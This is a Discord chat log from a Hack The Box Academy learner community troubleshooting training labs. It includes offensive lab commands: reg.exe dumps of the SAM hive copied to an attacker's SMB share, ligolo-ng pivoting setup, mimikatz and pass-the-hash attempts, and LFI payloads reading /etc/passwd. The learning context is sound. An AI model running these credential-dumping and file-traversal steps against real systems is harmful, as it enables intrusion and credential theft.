modules

[rustic sage]

Any Linux users here?

[fathom pendant]

TempleOS

also https://dontasktoask.com

[rustic sage]

Huh?

[fathom pendant]

"any linux users here" is a very broad question if you're looking for a specific answer

read the link, it's actually informative

[rustic sage]

Also is Kali Linux a good website or just for the hackers who aren't working for cybersec

[wanton jasper]

Kali is a linux distro not a site. Its for anyone but has lots of tools built in for people that that are interested in this stuff. I would probably do some beginner Linux courses/ modules and get a feel for it.

[fathom pendant]

Kali is a pentest driven distro

but at it's core, it's debian based - meaning any tool that can be installed on any other Debian Distro will install on any other one

[rustic sage]

https://kalilinux.com/

See?

[fathom pendant]

https://www.kali.org/

that's the official one

[rustic sage]

.

[fathom pendant]

yeah and kalilinux just redirects to kali.org

it's still a distro

:) that's just the official website of the distro

[rustic sage]

Also is Kali Linux for both the hackers aka white hate hackers who are cybersec and black hat hackers who are , yk , unethical hackers

[fathom pendant]

like https://parrotsec.org

[wanton jasper]

the site is just where you would go read about kali and download it

[fathom pendant]

it's for anyone

¯_(ツ)_/¯

there's no restrictions based on what "type" of hacker someone is

[tulip parrot]

Anyone ?

[rustic sage]

How come?

It also says cybersec

[fathom pendant]

it doesn't matter ¯_(ツ)_/¯

[lusty thicket]

i suggest you do the infosec fundamentals module

[fathom pendant]

the tools exist for those that know/learn how to use them

[fathom pendant]

path*

[wanton jasper]

Im not there yet but try to use one of the many cracking sites or a new word list? No idea as I have not done this part yet. Is it saying to crack the hash? Could be that you need to pth or something?

[rustic sage]

Also since I am new , what can we really do in HTB? Just training , that's it? We can't participate in real life stuffs?

[fathom pendant]

HTB is a training/practice site

there's some CTFs that HTB will host

[rustic sage]

What's ctf?

[fathom pendant]

but as far as "real life" if you're referring to 'hacking a company' or doing a bug bounty then you have to follow that company's Bounty program

every company lays out scopes of bounties differently

but if you're just trying to learn how to hack your neighbours wifi, your frame of mind is too small

[tulip parrot]

Yes i tried to pth also, not working...

[rustic sage]

Nah I mean I wanna compete

I wanna compete with people who try to hack others and stuff

[wanton jasper]

CTF events is where people compete for the most part. Start slow and get the foundations. Stay consistent it will take a while to get to that level.

[rustic sage]

I don't have a pc nor a laptop so, maybe next year

[wanton jasper]

It would be hard to study without that. You can still keep up with cyber sec news and watch vids untill you can get a pc

[rustic sage]

Hmm

[fathom pendant]

buying a cheap laptop and installing a linux distro directly on it is one way to start

~$200 laptops will get you pretty far for cheap

[wanton jasper]

Seems like it, I cant log in

[fathom pendant]

some people are using stuff that's like ~10 years old

yep lookin like @urban sage broke academy

[wanton jasper]

To add to this I have sold hundreds of old company laptops on ebay for $100 in the past so you could look there

[fathom pendant]

yep; usually when companies cycle through their laptops they'll resell the old ones for a fairly decent price

because it's usually ~4 years old

[wanton jasper]

ours were more like 10 years old but yea lol

had win 7 on them

[fathom pendant]

at least if they're buying through Dell, due to warranty type stuff

i.e. cheaper to buy a new set of systems with warranties than to renew warranty for only up to another year or two of hardware support

¯_(ツ)_/¯

[safe dock]

Guys anybody know where is actual worldlist in the seclists-master

[fathom pendant]

i mean SecLists has a bunch of different wordlists categorized

[umbral fulcrum]

the "Ligolo-ng" doesn't work as well in that specific Double- pivoting (Dante-lab)

[safe dock]

I want to brute force on web directory so which file is that ?

[full nimbus]

Why ? Haven't tested, but if you have 2 tunnel devices, and proper routing, should work

[acoustic owl]

maybe this one?
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/directory-list-2.3-medium.txt

[umbral fulcrum]

right, should

https://systemweakness.com/pivoting-for-newbies-with-ligolo-ng-82f13040aa39

https://arth0s.medium.com/ligolo-ng-pivoting-reverse-shells-and-file-transfers-6bfb54593fa5

https://software-sinner.medium.com/how-to-tunnel-and-pivot-networks-using-ligolo-ng-cf828e59e740

non did the trick

[full nimbus]

sudo ip tuntap add user kali mode tun ligolo
sudo ip tuntap add user kali mode tun ligolo2
sudo ip link set ligolo up
sudo ip link set ligolo2 up
sudo ip route add 172.16.6.0/24 dev ligolo
sudo ip route add 172.16.7.0/24 dev ligolo2
sudo ./proxylin64 -selfcert -laddr 0.0.0.0:4444
sudo ./proxylin64 -selfcert -laddr 0.0.0.0:4445

In 2nd ligolo, use "start --tun ligolo2"

that's theory 🙂

also you need to add a listener on ligolo1 session

[umbral fulcrum]

yes
followed :
https://arth0s.medium.com/ligolo-ng-pivoting-reverse-shells-and-file-transfers-6bfb54593fa5

[urban sage]

I probably have broken something today but it wasn't Academy I swear.

[wooden echo]

Hey has anyone completed the Introduction to Windows Command Line?

[marsh echo]

i try enumerate all community chain but nothing in output :https://academy.hackthebox.com/module/112/section/1080

[full nimbus]

can you ping this IP ? Seems connectivity issues

[marsh echo]

yes he work

[lusty thicket]

that’s because you have the wrong community string

[marsh echo]

i brute force the community string but nothing

[snow ridge]

Log in to the ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL Domain Controller using the Domain Admin account password submitted for question #2 and submit the contents of the flag.txt file on the Administrator desktop.

Why I had to use this command to make this work, can someone explain.
psexec.py FREIGHTLOGISTICS.LOCAL/[e-mail] -target-ip 172.16.5.238
instead of this psexec.py FREIGHTLOGISTICS.LOCAL/[e-mail] -target-ip 172.16.5.238
Question says to connect to freightlogistics.local

[lusty thicket]

try the tool onesixtyone

[marsh echo]

shit it was the wordlist that wasn't good i found a lead

[nimble yoke]

anyone mind helping a noob lol. I connected the vpn and everything and was able to start up a machine but then when i ping the ip I get no connection. Anybody know why?

[hallow kiln]

What issue are you having?

[umbral fulcrum]

ran ||agent.exe -connect <MY_IP>:11601 -ignore-cert||
got session on my attack host

also I didn't open a listener ...
on the first agent ...

[umbral fulcrum]

since both of the host R on the same network...

Trying to go to the second network that only one of the host can go there

[hallow kiln]

Tbh haven't gotten this error before, might have something to do with the latest release, if you've got two connections going, can you switch between them with session?

[umbral fulcrum]

yes

but can't start the secone one

[hallow kiln]

You might need to stop the tunnel you've got running to start the new one

[lusty hearth]

can I dm you about it, if youve done it? I am just having a hard time how to exploit the CORS header. the endpoints in the lab don't make sense with the walk though and I am already still a little confused on CORS after reading extra material.

[umbral fulcrum]

but then I'm closing the access to the second host, since the first one is my ticket to the internal network

[hallow kiln]

The agent won't disconnect iirc

[umbral fulcrum]

then I'm not sure how to close the tunneling that u mean...

[hallow kiln]

You pick your session, then type start right? It writes "starting tunnel to...", there's also a stop command

Try that, experiment a little, or try running the 2nd agent through a listener on the first one (think it was what I was doing in the guide)

I should also check out the newest release to see wether anything else has changed, apart from being able to do port forwarding now

[acoustic owl]

Yes, but go and eat something first.
I've finished the section, but not the whole module yet

[lusty hearth]

sounds good, thanks

[umbral fulcrum]

the listener method didn't worked as well ...

[hallow kiln]

@umbral fulcrum Might be some firewall restrictions in place, you can run ligolo on a different port than the default with -laddr as shown here (your best bets are ports like 80, 443, 445), try that, but you can also create a 2nd ligolo interface again as shown by bmigette

It's super flexible, all the guides including mine cover the basics, but there's a lot you can fine-tune

[marsh echo]

thanks for everything guys !

[molten prawn]

Hi, I’m in the 8th question of the second skill assessment in Active Directory Enumeration & Attacks .
the question is :
Submit the contents of the flag.txt file on the Administrator Desktop on the MS01 host.
apparently i have to pass the hash and i feel confident that i have tried more than 7 or 8 pass the hash techniques but none of them worked . i already have the hash of the Administrator account but it just does not work . any help would be appreciated

i have an issue with evil-winrm but i can not find the solution on the HTB forums nor on google .

[lusty hearth]

ok, messaged you.

[umbral fulcrum]

nothing works

don't know what else is there...

there R 2 options left either I missed something critical (don't know where else to look)
OR
the option for "ligolo-ng" isn't possible against the target (not likely)

[full nimbus]

Anyone can help me with the File Inclusion assessment ? I managed to get the source of index.php page, but then i'm stuck 😄

[full nimbus]

Check my messages from earlier this afternoon 😉

[fathom pendant]

What "issue"

[molten prawn]

thanks

[vital zephyr]

Hi everyone, I'm on the password module, and in particular in the module: ''attacking sam'', now I execute these commands, as described in the module:
reg.exe save hklm\sam C:\sam.save
I do the same with system and security
after which I open the smb server with the command said in the module:
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support CompData /home/ltnbob/Documents/

after that, when from the windows terminal I go with move sam.save \10.10.15.16\CompData it tells me
access denied, 0 files moved,
where is the problem??? Can anyone help me please?

[molten prawn]

can not connect . more specifically, the error message, Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError . i also ran it with ruby 2.7 in another machine but still nothing

[fathom pendant]

Also remember the user hash is the NT part of the NTLM_V2 hash

[molten prawn]

i dumped the hash with mimikatz its only one hash

[cobalt trench]

It says this is the wrong answer but this is the result I got from both nmap -sC -sV and after connecting to the server anonymously ****

[tawdry comet]

When in doubt, enumerate your hashes again

[cobalt trench]

Is there a specific way that the module wants the answer formatted or something?

[full nimbus]

what mimikatz command did you used

[fathom pendant]

220 is a status code

[vital zephyr]

think about me please ❤️

[fathom pendant]

No

[cobalt trench]

Right but it says the whole banner. Plus I also tried submitting "FTP V1,1" and it still didnt work

[molten prawn]

lsadump::lsa /inject

[vital zephyr]

marciel thanks you, you are very helpfull bro

[fathom pendant]

You're so close

220 is the only thing you can ignore in that response

[tawdry comet]

Try logonpasswords and see what you can find

[full nimbus]

Not sure waht this does, but does not seem to extract hashes. Check my message about mimikatz 😉

[cobalt trench]

"220 is a status code" It finally clicked after you said that lol thank you for the tip

[molten prawn]

okay

[fathom pendant]

I'd recommend deleting the screenshots as they're a spoiler

[vital zephyr]

pleeeeeeeeeeeeeeeeaaaaaaaaaaseeeeeeeeeeeeeee

heeeeeeeeeeeeelp me

[placid edge]

help about what?

[molten prawn]

i tried logon passwords . nothing

[vital zephyr]

Hi everyone, I'm on the password module, and in particular in the module: ''attacking sam'', now I execute these commands, as described in the module:
reg.exe save hklm\sam C:\sam.save
I do the same with system and security
after which I open the smb server with the command said in the module:
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support CompData /home/ltnbob/Documents/

after that, when from the windows terminal I go with move sam.save \10.10.15.16\CompData it tells me
access denied, 0 files moved,

[molten prawn]

will do now

[vital zephyr]

i dont understand why win tell me access denied, what i can do?

[placid edge]

move c:\sam.save \\10.10.15.16\CompData

[autumn pilot]

understand the command and its parameters

once you've done that, it will instanteneously click what you are doing wrong

[vital zephyr]

I did this, and it gives me the same answer.

[fathom pendant]

Do you have access to save in c:\?

[vital zephyr]

yet the form is clear, it says to create a copy of sam, etc. open the smb server and transfer the files, I don't understand why it tells me access denied,

[fathom pendant]

Also is 10.10.15.16 your tun0 ip?

[placid edge]

its literally the same ip as the cource

[fathom pendant]

I didn't check

[vital zephyr]

yes, I also tried to copy and paste the files from two machines but it won't let me

[manic onyx]

I'm doing the Thick Client attacks module right now and can't seem to open PowerShell at all, and this is preventing me from running the relevant script to create the exe I need to debug. Is this intended? I have restarted the machine and it didn't seem to fix anything

[fathom pendant]

Did you read my previous message

[placid edge]

no like its literally the same one

lol

[fathom pendant]

You need to use your tun0 ip

[vital zephyr]

obviously for reasons related to people's trust I didn't put my IP

but in the command I put my IP

[placid edge]

ah ok

[fathom pendant]

then you can say {my_ip} ¯_(ツ)_/¯

[vital zephyr]

sorry

[fathom pendant]

Because we have seen a fair share of people be dumb

[vital zephyr]

I took it for granted that I don't put my IP online, especially in a group full of hackers

[fathom pendant]

¯_(ツ)_/¯

[vital zephyr]

btw, i dont know what i do

any hints?

[fathom pendant]

Use other file transfer methods maybe

[vital zephyr]

like which one?

[fathom pendant]

Xfreerdp for instance allows you to mount a directory with /drive:

[placid edge]

did you also update the /home/ltnbob/Documents/

since that is as default as well

same as cource

[vital zephyr]

but do I have to create these folders??

[placid edge]

no

[vital zephyr]

ah ok

[placid edge]

you can do this instead to make it easier and check

[fathom pendant]

Try moving the same.save to another folder the user has access to

[worldly roost]

Hey HTB team, when you guys are going to create a detailed module on Curl?

[placid edge]

sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support CompData ./

see if that works. using the move cmd with your ip

[vital zephyr]

just one moment

[placid edge]

the last command you used for impacket-smbserver was telling the smb to be hosted in that directory. But you probably pointed to a non existent one which wouldnt work

[fathom pendant]

^

Don't just copy/paste commands

[vital zephyr]

this command does not work

However, I don't copy and paste commands like that, I use some tools that explain to me in detail what they do and how they work, in other words I study them

[placid edge]

works fine for me

what do you get back

[vital zephyr]

then if I don't understand it's obvious that I ask for information

[placid edge]

missing a space between CompData and ./

[fathom pendant]

You forgot the space after CompData

[fleet cairn]

I want hack's do anyone know some good ones

[fathom pendant]

Google

This isn't a rando hacker4hire server @fleet cairn read #welcome and #rules

[vital zephyr]

now I try to transfer the files to the desktop and try move again. anyway I google before asking, I hate asking because I find arrogant people like you who don't help anything. Only when I don't find what I'm looking for, I use this platform

[vital zephyr]

ok sorry, now it works

[molten prawn]

thanks man . worked

[fathom pendant]

Wasn't referring to you dude

[fathom pendant]

I was replying to the dude asking for "hack's"

[molten prawn]

[vital zephyr]

ok sorry man, i hate when i ask for a help and the ppeople jokes me

[fathom pendant]

Nah your issue seemed legit, we just didn't have enough context at first to confirm what part was the issue

[vital zephyr]

anyway that xfreerdp closes every two seconds, I'm trying to do and vi day friends

[placid edge]

no problem. The /home/USERNAME/Documents is a path for a specific user. Sometimes something small like that can ruin everything. Nothing wrong with asking for help just make sure we are provided with enough information to help 🙂

[full nimbus]

If you have RDP, I'd go with MS RDP client and just copy / paste the file this way 🙂

[placid edge]

you can do that just as fine with xfreerdp tho

if you just share the drive

[full nimbus]

Maybe, I Never used xfreerdp, I usually do a tunnel like that ssh -L 3390:172.16.7.50:3389 babadmin@192.168.1.66 and then RDP from my windows box to the lab vm (127.0.0.1:3390 in this case). That is what I found to be easiest for me 🙂

[placid edge]

yeah. A nice trick to use ssh dynamic port forwarding instead. This way you can use proxychains to execute within the same internal network as the "ssh" party

i usually do something like this for rdp

ssh user@ip -D 9050
proxychains xfreerdp /v:host /u:user /p:password /drive:linux,/home/user/

Since by default proxychains goes over the port 9050

[vital zephyr]

the module said to use xfreerdp, that's why I'm using it, however it's going very slow, so I'm taking a long time to give you an output

[placid edge]

yup

[fathom pendant]

Use the tcp vpn download

[lusty hearth]

^

[fathom pendant]

Or change regions (still use the tcp)

[vital zephyr]

i dont use parrot by htb, i use my kali

[fathom pendant]

OK?

That doesn't really matter for the vpn. Sometimes the node is unstable so changing the region helps

[vital zephyr]

it tell me ''the network path was not found

[vital zephyr]

ah ok, good to know

I didn't solve anything 😦

[fathom pendant]

Changing vpn region you'd need to reset the target btw

[vital zephyr]

i dont have changed anything right now, must do it?

[fathom pendant]

Might need to uncomment the proxy mode line for it.

[vital zephyr]

it end with CompData

[placid edge]

do

// instead i guess

[fathom pendant]

Add a \ after CompData

[plucky horizon]

Hello everyone, I’m new here, completely new to this world. So knew I’m having trouble figuring out a password issue on the first question on operating systems fundamentals 🤦🏽‍♂️ is there anyone that might be able to help me figure it out? It’s embarrassing, it’s a tier 0 module.

[fathom pendant]

What's the issue exactly

If it's that the password isn't displayed while typing: that's normal

[plucky horizon]

It’s on Linux, I’m doing an ssh and I have the username and ip, the password is provided but it keeps denying me access

[vital zephyr]

C:\Users\bob\Desktop>move sam.save \ip\CompData
The network path was not found.

[plucky horizon]

Took me about an hour to figure that out lol

[fathom pendant]

You need to do ctrl-shift-v to paste in linux terminal

[plucky horizon]

Thank you, I’ll try that. Also the password provided is written in red, does that mean anything?

[fathom pendant]

No.

[plucky horizon]

🙏🏼 thank you

[fathom pendant]

It's just to differentiate it from the username

[plucky horizon]

I was going nuts, thought it was some kinda riddle

[vital zephyr]

ok guys, I have to go, I'll try again tomorrow to do more tests, in any case if I can't write here, ''thanks for the help''

[full nimbus]

I had same issues in the AD lab yesterday. I spent a good hour trying to understand that. What I noticed is that to use smb share in windows, you might need to do net use \\xxxx\yyyfirst, or even map as a net drive via net use x: \\xxxx\yyy.

Also, depending your reverse shell, it might not show the error output (does not seem to be your case tho)

In the end got fed up and uploaded nc.exe on windows device and used netcat to get files I needed

[fathom pendant]

This is a direct rdp session

[upper ruin]

bro it took me ages to realize that

oh my f--ing god

[hallow surge]

Alguien que hable español?

[fathom pendant]

Solo Ingles #rules

[hallow surge]

Ok

[sleek moss]

hi guys im on password attcks kerberos::ptt "C:\tools[0;58e1a][e-mail]" it says ok it did it then i exit and go to powershell but i still not change?

[elfin epoch]

guys can someone help me here? "Using metasploit framework" module Sessions & jobs

tried to use the exploit

and got a TTY shell

[sleek moss]

u shud look for diff exploit

[elfin epoch]

I got a TTY shell and tried privesc

[elfin epoch]

I tried the php one but its not vulnerable

[sleek moss]

u need to keep looking

its some weird exploit

[shell ore]

hi

kinda stuck on the footprinting hard lab

got to "see" some stuff from SNMP, but nth more

[drifting glacier]

Hey all, got a question on a technique learned from the windows module. I'm attempting to use the PSUpload.ps1 script to upload a file to my attack machine, but am getting hit with errors. Not sure if I am invoking the script directly:

[sleek moss]

why doesnt this work [18:17:13:676] [1845:1846] [WARN][com.freerdp.core.nla] - SPNEGO received NTSTATUS: STATUS_LOGON_FAILURE [0xC000006D] from server
[18:17:13:676] [1845:1846] [ERROR][com.freerdp.core] - nla_recv_pdu:freerdp_set_last_error_ex ERRCONNECT_LOGON_FAILURE [0x00020014]
[18:17:13:676] [1845:1846] [ERROR][com.freerdp.core.rdp] - rdp_recv_callback: CONNECTION_STATE_NLA - nla_recv_pdu() fail
[18:17:13:676] [1845:1846] [ERROR][com.freerdp.core.transport] - transport_check_fds: transport->ReceiveCallback() - -1
i treid to freerdp password attacks i had it then it rrandomly exited

[plucky horizon]

Just want to say thank you, I was able to complete that section thanks to your help.

[drifting glacier]

Ahh, i was invoking it wrong after all, geez

. ./script.ps1, for those that have invoking issues in the future LOL

[shell ore]

[lusty thicket]

you have to wait a little bit for the snmp output to show you the next step 😉

[shell ore]

got it

🙂 but it doesnt make sense

1.* should be the same as 1.2.* or am i wrong? 🙃

[sleek moss]

my target spawn is taking forever to load?

[lusty thicket]

i don’t think i understand your question

iso is the root oid followed by the sub oids 3. … and their corresponding values

iirc

[shell ore]

i meant that when i did 1.* i didnt get anything but 1.2.* gave me "stuff"

[wooden echo]

Hey amy power shell experts willing to help a noob?

[sleek moss]

is htb target down for anyone else

can u guys spawn target us?

[shell ore]

bruh that was too easy 🙂

i suffered with snmp wayyy more

[lusty thicket]

i recommend not specifying an oid it’ll query the snmp mib from the starting point

as snmpwalk does not support regex for oid query

[shell ore]

can u explain pls?

so u mean when bruteforcing it, if we didnt specify and oid it would start from the beginning anyway?

[lusty thicket]

yes think of it like querying the entire snmp tree on the device 😉

[shell ore]

oh

[winter arrow]

cant get past the footprinting medium module

[shell ore]

i just finished

[winter arrow]

i can't get rdp in

[shell ore]

litteraly just submitted the hard lab flag

[winter arrow]

lets go

[shell ore]

try using TCP vpn file

[winter arrow]

bet

[shell ore]

it worked for me

[supple gorge]

yup taking forever

[winter arrow]

do you have a custom or a good tool kit you use for enumeration

i use auto recon

[next bronze]

I use eu servers and it works ifne

[winter arrow]

nope still not working

[shell ore]

i think im not qualified enough to answer such question 😅 😂

[shell ore]

what is it ur getting?

like just lagging? or what

[next bronze]

toolkit? just use the right tool for the system, there's no set tool to use, other than nmap I guess

[winter arrow]

18:40:12:501] [10741:10742] [WARN][com.freerdp.crypto] - Certificate verification failure 'self-signed certificate (18)' at stack position 0
[18:40:12:502] [10741:10742] [WARN][com.freerdp.crypto] - CN = WINMEDIUM
[18:40:12:706] [10741:10742] [WARN][com.freerdp.core.nla] - SPNEGO received NTSTATUS: STATUS_LOGON_FAILURE [0xC000006D] from server
[18:40:12:707] [10741:10742] [ERROR][com.freerdp.core] - nla_recv_pdu:freerdp_set_last_error_ex ERRCONNECT_LOGON_FAILURE [0x00020014]
[18:40:12:707] [10741:10742] [ERROR][com.freerdp.core.rdp] - rdp_recv_callback: CONNECTION_STATE_NLA - nla_recv_pdu() fail
[18:40:12:707] [10741:10742] [ERROR][com.freerdp.core.transport] - transport_check_fds: transport->ReceiveCallback() - -1

[next bronze]

looks like your creds are wrong

[fathom pendant]

^

[shell ore]

same error i was gettin

wrap the password in " "

[fathom pendant]

Single quotes

[shell ore]

it prolly has ! which is causing linux shell to do some stuff

[lusty thicket]

wrap in three ` next time

[fathom pendant]

Double quotes can still be interpreted

[shell ore]

oh

[shell ore]

+1 pls 😂

[winter arrow]

i tried still nothing

[sleek moss]

i pass the ticket in password dattacks but kerberos::ptt "C:\tools[0;5a1ef][e-mail]" it says file ok then i go check whoami im still admin??

[fathom pendant]

$ is a variable call
! is history

[fathom pendant]

This looks weird to me imo but could be formatting in discord

[shell ore]

yeah but why " " get interpreted?

[fathom pendant]

Single quotes are string literal

Meaning it doesn't attempt to interpret it as anything but text

[sleek moss]

o i c its dobule quote

[fathom pendant]

You can still pass commands and variables through double quotes

[shell ore]

thanks

[sleek moss]

i use to become john i do it and it says file ok then i exit mimikatz but i still same perso

[fathom pendant]

When you launch a shell using the mimikatz method you should be able to to access the share

[orchid pine]

regarding the linux priv escalation module my user has one of the env path writable by us and the root is runing awk every 3 minutes without the absolute path can i write awk inside this dir so when the root excute awk i can get reverse shell as root

[winter arrow]

im stuck

i cant get past it

[fathom pendant]

xfreerdp?

[winter arrow]

yea

[fathom pendant]

There should be a /cert-ignore

Or something

[winter arrow]

still didnt work

like wtf everytime it works for everyone else besides me

[next bronze]

what's the full rdp command? and module and section

[winter arrow]

that's why i hate doing exams the stuff that is taught in the class dont work

[shell ore]

stop getting furastrated its okay

[winter arrow]

xfreerdp /u: /p: /v:

[fathom pendant]

Try putting /v: first?

[shell ore]

no difference i think

[fathom pendant]

Or try using remmina

[fathom pendant]

Sometimes it's stupid

[shell ore]

yeah that could work ig

[next bronze]

what module and section?

[analog dock]

What creds are u using

[winter arrow]

remmina didnt work either

[shell ore]

anyway, good night everyone im dying here 😂

[winter arrow]

good night bro

[shell ore]

and good luck bro, hope it works

[winter arrow]

thanks bro

[analog dock]

That’s not the correct pass

[next bronze]

how do you know what module and section it is can't remember an alex user

[sleek moss]

try not to connect using /p:___ and just manually input the pass

[winter arrow]

footprinting module

[analog dock]

So it has nothing to do with stuff in the class not working, or it only working for everyone else 🤷🏼‍♂️

[sleek moss]

when it ask

[analog dock]

Footprinting medium

[winter arrow]

i tried adding the !mD and it wont work still

[fathom pendant]

Footprinting medium. Alex, mssql

[analog dock]

Wrap it in single quotes

[fathom pendant]

Single quotes

[analog dock]

The password

[fathom pendant]

^

[next bronze]

ah it's been a while since that module

[winter arrow]

server hostname was not specified with /v:server port

[analog dock]

What

You don’t do that

[fathom pendant]

Then you should specify

[winter arrow]

error: server hostname was not specified with /v:<server>[:port]

[fathom pendant]

You don't need to add port btw

[analog dock]

Just put the ip

[fathom pendant]

Considering its default

[winter arrow]

i didnt think so

nope still not working

this is annoying as fuck

[analog dock]

What’s your command

[fathom pendant]

Full new command you're using?

Space after the second quote

[analog dock]

Space between ' and /

[fathom pendant]

Lmao immediately fir both of us

[winter arrow]

thank you it finally worked

this is why i hate linux

[analog dock]

This has nothing to do with Linux

[fathom pendant]

Delete the command here: spoiler

[next bronze]

[analog dock]

Just with you not reading the command lol

And providing the wrong password

[fathom pendant]

Has nothing to do with linux, you just missed something

[analog dock]

If I keep trying to log in with the wrong password on windows it won’t work either

[winter arrow]

linux just has you be perfect with the quotes and slashes

its annoying

[analog dock]

So read instead of rush😄

[wooden echo]

Does anyone know how to do this task in the introduction to windows command line?????
"For this level, you must successfully authenticate to the Domain Controller host at 172.16.5.155 via SSH after first authenticating to the target host. This host seems to have several PowerShell modules loaded, and this user's flag is hidden in one of them."

[fathom pendant]

Being case sensitive reduces mistakes

[fathom pendant]

Authenticate to the 10.129.x.x target, then from there ssh to 172.16.5.155

[wooden echo]

how do I find the username of the DC?

[fathom pendant]

It's the same as this user in question

Same password

[wooden echo]

Thank you so much

[fathom pendant]

Critical thinking hurts the brain

[wooden echo]

Lol I have been working on this module for 3 days staring at the same terminal messes me up XD

[fathom pendant]

Engaging braincells can be difficult lol

[winter arrow]

now i cant figure out how to nav SQL servers

like bruh

[fathom pendant]

First you need the right permissions

[winter arrow]

i got admin already

[fathom pendant]

👍

Just click around

Otherwise you can look up mssql commands (attacking common services goes over more of the command line stuff)

[winter arrow]

i cant find it man

fuck sql

[fathom pendant]

Just gotta literally click around until you find the table

Then "view last 200 entries" or sth like that

[winter arrow]

nope i cant find it

i give up

[fathom pendant]

it takes maybe a few minutes of clicking ¯_(ツ)_/¯

[frigid summit]

this is a premium command!

Unlock this command and many more perks by subscribing to MEE6 premium.

[winter arrow]

where i clicked up and down the whole list

[fathom pendant]

Expanding sections/databases helps

[winter arrow]

been doing that too looked up accounts creds databases etc nothing

[fathom pendant]

it definitely exists ¯_(ツ)_/¯

Take a step away and come back to it in a bit

I think part of your current frustration has something to do with the rdp stuff earlier getting to you a bit. And wanting to just be done

[next bronze]

or you can just write a simple query to grab the flag, no need for manual digging

[fathom pendant]

That too, simple queries aren't taught in footprinting unfortunately

But easy to find on google

[winter arrow]

i cant find it between SQL sucks ass and my Kali VM freezes for no reason what so ever

[fathom pendant]

Could be the vpn being dumb if you ping the machine what's the avg response time?

[winter arrow]

nah like my entire kali vm freezes all the time for no reason at all

[fathom pendant]

^

That's actually a legit thing 17.5 is dumb as fuck

Are you also dedicating enough resources to the vm

Bc a vm doesn't just freeze up "for no reason"

[winter arrow]

yea

i am yea i did downgrade it tho

[fathom pendant]

What version are you currently using

[winter arrow]

its running 15.x rn

[next bronze]

why not just go back to 17.0.2 instead of 15?

[winter arrow]

where do you enter those config changes at i have never went into the config file before

[winter arrow]

17.0.2 isnt a option for me just 16.2

[next bronze]

the vmx file in the vm folder

[next bronze]

what

[winter arrow]

i cant downgrade to 17.0.2

unless thats just 17.x

[next bronze]

why can't you downgrade? just uninstall 17.5 and install 17.0.2

[winter arrow]

i got the pro version idk if that means anything

[next bronze]

so do I

[winter arrow]

i can just change the hardware compatibility and thats it right?

im not a VM master lol

[next bronze]

yep

[winter arrow]

bet

and most optimal processors and ram for the VM?

[next bronze]

whatever you can spare

[fathom pendant]

Safest allocation is 50% of host, but it depends on setup

[winter arrow]

i just use the one

i have 64GB of ram but i have it using 16

[fathom pendant]

8GB of ram and 1-2 cores tends to be fine

[fathom pendant]

Hey @proud pine quick question, did you compile ligolo. Or just use the precompiled binaries

[pulsar canopy]

I decided to step back and do Academy. I'm doing a Linux Fundamental module and am currently stuck on something. When doing a module that required SSH I used the sudo su command attempting to locate a direction and a notification came up that has me concerned. "This incident will be reported"

[lucid sluice]

Realistically speaking how long will it take to make it all the way to Dante? Assuming that I don't have a job and nothing but free time?

[next bronze]

depends on your skill level

[pulsar canopy]

Okay, just wanted to make sure I wasn't gonna get banned for accidentally breaking a rule

I'm supposed to be finding a path to a directory and I thought I'd have to reach its root to find it

[lucid sluice]

My skill level is 18% on the penetration testing path for cpts 64% on the comptia pentes + in tryhacme

[next bronze]

that.. doesn't mean anything to me, the individual boxes on dante are similar to easy on the main platform

I'd even say the easy boxes now are a a bit harder than dante

[pulsar canopy]

Geez, was starting to feel really stupid that I couldn't progress, and I feel even stupider for not trying the env command

holy hell pwnbox is freezing all of a sudden

[lucid sluice]

You seem pretty knowledgeable what is your power level?

[next bronze]

check season 3 leaderboard ig

[next bronze]

also you can ask what people feel about it in #prolabs-dante

[fathom pendant]

Refresh the page

[pulsar canopy]

I completed the module. But considering I can only use Pwnbox one time per day, am I limited to using my own computer's terminals for further modules?

[next bronze]

build your own vm

the getting started module goes through that

[fathom pendant]

There's a whole Setting Up module too

[supple gorge]

how 🙃

[next bronze]

spend every weekend doing a box

[fathom pendant]

@next bronze I have acquired ligolo now time to shenanigan

[supple gorge]

well.. I'm sure it's amazing, but how do I check the leaderboard

[next bronze]

https://app.hackthebox.com/competitive/3/overview

[supple gorge]

7th huh

[next bronze]

nice, the new update is sick, multiple tunnels now, makes double pivot much easier

[fathom pendant]

Ye just going through the pivoting module to check it out lol

[supple gorge]

can you use your rewards to buy cubes, or platinum?

Or is that only for silver/gold?

[next bronze]

for academy it's annual plans only, which are useless to me

I'll just get a free month of prolab

[limber river]

what's the level of box you need to be comfortable with to pass cpts

[next bronze]

skills in boxes don't translate to the exam

there are many things you need to do in cpts which you won't find in boxes: networked environment, postex enum, lateral movement, etc

[limber river]

yeah the exam is more like a prolab , but what it takes to solve meduim/hard machines ?

[next bronze]

research, perseverance, headbang against the box

[limber river]

so you don't need a crazy knowledge

[next bronze]

knowledge comes from researching, if you already know them then it's a lot easier

[limber river]

okay , I got you

[fathom pendant]

Hey @next bronze you've used ligolo a bit yeah? I'm having a hard time adding the 172.x.x.x interface (invalid prefix)

[next bronze]

the ip route add command?

[fathom pendant]

Ya

[next bronze]

it needs to be the first ip of the subnet, e.g 172.16.7.0/24 works, but not 172.16.7.10/24

[fathom pendant]

Yeah this subnet is 172.16.5.129/23 on the ifconfig

So I think I'm just stupid

[next bronze]

ah use /24 would be easier, so 172.16.5.0/24, if it's /23 then it should be 172.16.4.0/23

[fathom pendant]

I swear I tried that

[next bronze]

[fathom pendant]

Flawless victory

[next bronze]

got it?

[elder sapphire]

I am doing a final lab on LFI.
I have found two parameters. The parameter page in the link http://83.136.253.251:36016/index.php?page=about is suspicious. I could not bypass the filter that is filtering .., directory traversal, and is appending .php. Though I can see the code of index.php by putting the value of page=php://filter/convert.base64-encode/resource=index
Second, I have another link on the same website; http://83.136.253.251:36016/ilf_admin/index.php?log=../../../../../../../../../../../../../../etc/passwd. As you can see, I can do directory traversal and can see the content of /etc/passwd, however I can not read index.php file source code by using php://filter/convert.base64-encode/resource=index.php. I also tried different variants... e.g php://filter/convert.base64-encode/resource=lfi_admin/index.php. Can you explain why??? underlying webserver is nginx.

[proud pine]

I actually didn't use ligolo at all.

Though, if you want to try the method I used, shoot me a ping and I can hook you up.

[thorn urchin]

I always compile golang tools

[fathom pendant]

